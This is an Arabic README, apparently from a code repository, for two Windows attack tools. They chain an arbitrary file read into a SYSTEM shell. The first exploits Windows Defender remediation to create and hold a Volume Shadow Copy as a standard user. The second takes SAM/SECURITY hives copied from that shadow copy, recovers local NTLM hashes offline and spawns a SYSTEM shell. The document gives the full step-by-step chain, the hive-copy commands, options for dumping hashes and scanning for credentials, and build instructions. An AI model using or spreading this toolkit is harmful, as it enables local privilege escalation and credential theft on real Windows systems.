
اختبار
أداتان صغيرتان تحوّلان ثغرة قراءة ملفات تعسفية على ويندوز إلى شل SYSTEM.
vss_freeze/ — يُنشئ نسخة ظل وحدة تخزين (Volume Shadow Copy) كمستخدم قياسي، ثم يُبقيها مفتوحة لتمنحك وقتًا لقراءة خلايا SAM/SECURITY/SYSTEM منهاfr2system/ — يأخذ الخلايا التي نسختها، يفك تشفير تجزئات NTLM المحلية دون اتصال، ويشغّل شل SYSTEMإلى جانب أي وسيلة لقراءة الملفات تعسفيًا تعمل بصلاحيات SYSTEM (أو أي شيء يمكنه القراءة من \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopyN\...)، تُشكّل هذه سلسلة كاملة من مستخدم قياسي → SYSTEM على جهاز ويندوز 10/11 افتراضي.
تم استخراج هذه الأدوات من BlueHammer — بحث استغلال Windows Defender حيث اكتشفنا أن وضع ملف EICAR في مسار مراقَب يجعل Defender ينشئ نسخة ظل وحدة تخزين كجزء من عملية المعالجة. أمسكنا بقفل oplock دفعة واحدة على RstrtMgr.dll في مسار تحميل Defender بحيث يبقى Defender متوقفًا عند بداية المعالجة، مما يُبقي نسخة VSS حيّة للمدة التي نحتاجها.
في الأصل كانت هناك مرحلة ثانية لتجميد cldflt فوق ذلك، لكن cldflt يرفض موفري المزامنة غير OneDrive على Win11 24H2 (تُرجع CfRegisterSyncRoot الخطأ 0x80070057). اتضح أن مجرد إبقاء oplock الخاص بالمرحلة الأولى مفتوحًا كان كافيًا — يبقى Defender متوقفًا، وتبقى VSS حيّة، دون أي استخدام لواجهة Cloud Files API إطلاقًا.
[ vss_simple_freeze.exe ] → [ your arb-read PoC ] → [ fr2system.exe ]
creates VSS as std user reads SAM/SECURITY cracks NTLM, pops SYSTEM
holds it via oplock out of the VSS path shell
vss_simple_freeze.exe --hold 120 كمستخدم عادي. سيطبع مسار VSS، مثل \Device\HarddiskVolumeShadowCopy7.\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopyN\Windows\System32\Config\SAM\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopyN\Windows\System32\Config\SECURITYC:\Windows\Temp\fileread\SAM و C:\Windows\Temp\fileread\SECURITY.fr2system.exe. ستحصل على شل SYSTEM.إذا أردت فقط التحقق من أن السلسلة تعمل بالكامل من البداية إلى النهاية على جهازك، فحاكِ خطوة قراءة الملفات التعسفية باستخدام cmd بصلاحيات إدارية:
:: Window 1 - std user
vss_simple_freeze.exe --hold 300
:: Window 2 - admin cmd (simulating the arb-read primitive)
mkdir C:\Windows\Temp\fileread
copy "\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy7\Windows\System32\Config\SAM" C:\Windows\Temp\fileread\SAM
copy "\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy7\Windows\System32\Config\SECURITY" C:\Windows\Temp\fileread\SECURITY
:: Window 3 - std user again
fr2system.exe
(استبدل 7 بالرقم الذي طبعه vss_simple_freeze.)
vss_simple_freeze.exe [options]
--hold N Auto-release after N seconds (default: wait for Enter)
--auto Non-interactive, hold up to 600s
--publish FILE Write VSS path to FILE (default: %TEMP%\vss_current.txt)
--no-publish Don't write VSS path anywhere
--event NAME Release when named event Local\NAME is signaled
--quiet Suppress per-second liveness output
--help Show help
Examples:
vss_simple_freeze.exe # interactive, Enter to release
vss_simple_freeze.exe --hold 120 # auto-release after 2 min
vss_simple_freeze.exe --event lpe_done --hold 300 # release on signal or 5 min
fr2system.exe [options]
(none) Default - read SAM/SECURITY from C:\Windows\Temp\fileread, escalate to SYSTEM
--dump Dump NTLM hashes only, don't escalate
--scan Scan for alternative credential sources
--path DIR Use a different input directory
--help Show help
Examples:
fr2system.exe
fr2system.exe --dump
fr2system.exe --path C:\lab\hives
يتوقع fr2system.exe وجود SAM على الأقل في مجلد الإدخال. SECURITY اختياري (يُستخدم لأسرار LSA / مفاتيح DPAPI).
يستخدم كلا المشروعين MSVC (مكتبة CRT ثابتة، x64).
cd vss_freeze
build_vss_simple_freeze.bat
cd fr2system
msbuild fr2system.sln /p:Configuration=Release /p:Platform=x64
إنشاء VSS:

fr2system → شل SYSTEM:
